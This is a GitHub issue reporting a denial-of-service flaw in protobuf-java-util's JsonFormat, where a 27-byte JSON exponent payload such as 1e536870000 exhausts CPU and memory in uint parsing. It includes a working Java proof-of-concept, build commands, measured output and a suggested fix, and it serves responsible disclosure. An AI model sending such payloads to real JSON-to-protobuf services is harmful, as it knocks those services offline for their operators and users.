Skip to content

protobuf-java-util JsonFormat: Missing checks on BigDecimal JSON exponent potentially enabling denial-of-service #26032

@0Zeta

Description

@0Zeta

Version: protobuf 30.2 (commit efa2ab2), Java JDK 21
Operating System: Ubuntu 25.04

Summary

A potential denial-of-service vulnerability exists in protobuf-java-util that allows an attacker to consume disproportional amounts of CPU time and memory when parsing unsigned integers via JsonFormat.java.
JsonFormat.parseUint64() (and similar functions) calls toBigIntegerExact() on attacker-controlled input, materializing the full 10^N integer before range-checking. Malicious inputs using scientific notation burn minutes of CPU and GBs of memory.

Vulnerability

parseUint32 and parseUint64 in JsonFormat.java convert JSON numbers to integers via new BigDecimal(str).toBigIntegerExact():

// JsonFormat.java:1814-1815
BigDecimal decimalValue = new BigDecimal(json.getAsString());  // O(1)
BigInteger value = decimalValue.toBigIntegerExact();           // O(N)

BigDecimal stores inputs like 1e536870000 as a compact pair (intVal=1, scale=-536870000) in O(1). However, toBigIntegerExact() materializes the full value: it calls BigInteger.TEN.pow(536870000), which runs repeated squaring to produce a 536-million-digit number. The range check against MAX_UINT64 runs after this computation completes. The same pattern appears in parseUint32 (JsonFormat.java:1795).

Four field types are affected: uint32, uint64, fixed32, fixed64. The fixed32/fixed64 types dispatch to parseUint32/parseUint64 respectively (JsonFormat.java:1991-1996).

Preconditions

Both public methods on JsonFormat.Parser (from protobuf-java-util) are affected:

  • JsonFormat.parser().merge(String json, Message.Builder builder)
  • JsonFormat.parser().merge(Reader json, Message.Builder builder)

The target message must have at least one uint32, uint64, fixed32, or fixed64 field. Binary protobuf parsing (Message.parseFrom(), gRPC) does not use JsonFormat and is unaffected.

Impact

A single 27-byte request ties up one thread for multiple minutes (depending on hardware) and allocates over 2.5 GB of heap memory. BigInteger.pow() does not check for thread interruption, so cancellation mechanisms are difficult to implement. The value is rejected by the range check only after the full materialization completes.

Services that accept JSON and parse it into protobuf messages via JsonFormat are targets (REST APIs, webhook handlers, API gateways with JSON-to-protobuf transcoding). Concurrent malicious requests could likely cause extended denial-of-service.
Several open-source projects are likely affected.

Proof of concept

Save the following code as BigDecimalExploit.java:

package exploit;

import com.google.protobuf.DescriptorProtos.DescriptorProto;
import com.google.protobuf.DescriptorProtos.FieldDescriptorProto;
import com.google.protobuf.DescriptorProtos.FileDescriptorProto;
import com.google.protobuf.Descriptors.Descriptor;
import com.google.protobuf.Descriptors.FileDescriptor;
import com.google.protobuf.DynamicMessage;
import com.google.protobuf.util.JsonFormat;

public class BigDecimalExploit {

    public static void main(String[] args) throws Exception {
        String exponent = args.length > 0 ? args[0] : "536870000";

        Descriptor descriptor = buildDescriptor();

        String payload = "{\"vulnerable\": 1e" + exponent + "}";

        System.out.println("Payload:      " + payload);
        System.out.println("Payload size: " + payload.length() + " bytes");

        Runtime rt = Runtime.getRuntime();
        rt.gc();
        long memBefore = rt.totalMemory() - rt.freeMemory();
        long startNs = System.nanoTime();

        try {
            DynamicMessage.Builder builder = DynamicMessage.newBuilder(descriptor);
            JsonFormat.parser().merge(payload, builder);
            long elapsedMs = (System.nanoTime() - startNs) / 1_000_000;
            long memDeltaMB = ((rt.totalMemory() - rt.freeMemory()) - memBefore) / (1024 * 1024);
            printResult(elapsedMs, memDeltaMB, payload.length(), null);
        } catch (Exception e) {
            long elapsedMs = (System.nanoTime() - startNs) / 1_000_000;
            long memDeltaMB = ((rt.totalMemory() - rt.freeMemory()) - memBefore) / (1024 * 1024);
            printResult(elapsedMs, memDeltaMB, payload.length(), e);
        }
    }

    private static Descriptor buildDescriptor() throws Exception {
        FileDescriptorProto fileProto = FileDescriptorProto.newBuilder()
                .setName("exploit.proto")
                .addMessageType(DescriptorProto.newBuilder()
                        .setName("Msg")
                        .addField(FieldDescriptorProto.newBuilder()
                                .setName("vulnerable")
                                .setNumber(1)
                                .setType(FieldDescriptorProto.Type.TYPE_UINT64)))
                .build();
        FileDescriptor fd = FileDescriptor.buildFrom(fileProto, new FileDescriptor[0]);
        return fd.findMessageTypeByName("Msg");
    }

    private static void printResult(long elapsedMs, long memDeltaMB, int payloadSize, Exception e) {
        System.out.println();
        if (e != null) {
            System.out.println("Exception:     " + e.getClass().getSimpleName());
            System.out.println("Message:       " + truncate(e.getMessage(), 120));
        } else {
            System.out.println("Parse completed.");
        }
        System.out.println();
        System.out.printf("Time elapsed:  %,d ms%n", elapsedMs);
        System.out.printf("Memory delta:  ~%d MB%n", memDeltaMB);
        System.out.printf("Amplification: %d bytes -> %,d ms CPU + ~%d MB RAM%n",
                payloadSize, elapsedMs, memDeltaMB);
    }

    private static String truncate(String s, int max) {
        if (s == null) return "<null>";
        return s.length() <= max ? s : s.substring(0, max) + "...";
    }
}

Build and run

cd protobuf
bazel build //java/core:core //java/util:util

mkdir -p exploit_out/exploit
cp BigDecimalExploit.java exploit_out/exploit/

GSON=$(find $(bazel info output_base)/external -name "gson*.jar" | head -1)
CP=bazel-bin/java/core/libcore.jar:bazel-bin/java/core/liblite_runtime_only.jar:bazel-bin/java/util/libutil.jar:$GSON
javac -cp "$CP" exploit_out/exploit/BigDecimalExploit.java

java -Xmx4g -cp "exploit_out:$CP" exploit.BigDecimalExploit

Expected output

Payload:      {"vulnerable": 1e536870000}
Payload size: 27 bytes

Exception:     InvalidProtocolBufferException
Message:       Out of range uint64 value: 1e536870000

Time elapsed:  653,001 ms
Memory delta:  ~2595 MB (post-computation; peak RSS during execution is higher)
Amplification: 27 bytes -> 653,001 ms CPU + ~2595 MB RAM

Suggested fix

Check the number of integer digits before calling toBigIntegerExact() (adapt the number for uint32 accordingly):

BigDecimal decimalValue = new BigDecimal(json.getAsString());
if (decimalValue.signum() < 0 || (long) decimalValue.precision() - decimalValue.scale() > 20) {
    throw new InvalidProtocolBufferException("Out of range uint64 value: " + json);
}
BigInteger value = decimalValue.toBigIntegerExact();

Metadata

Metadata

Assignees

Labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions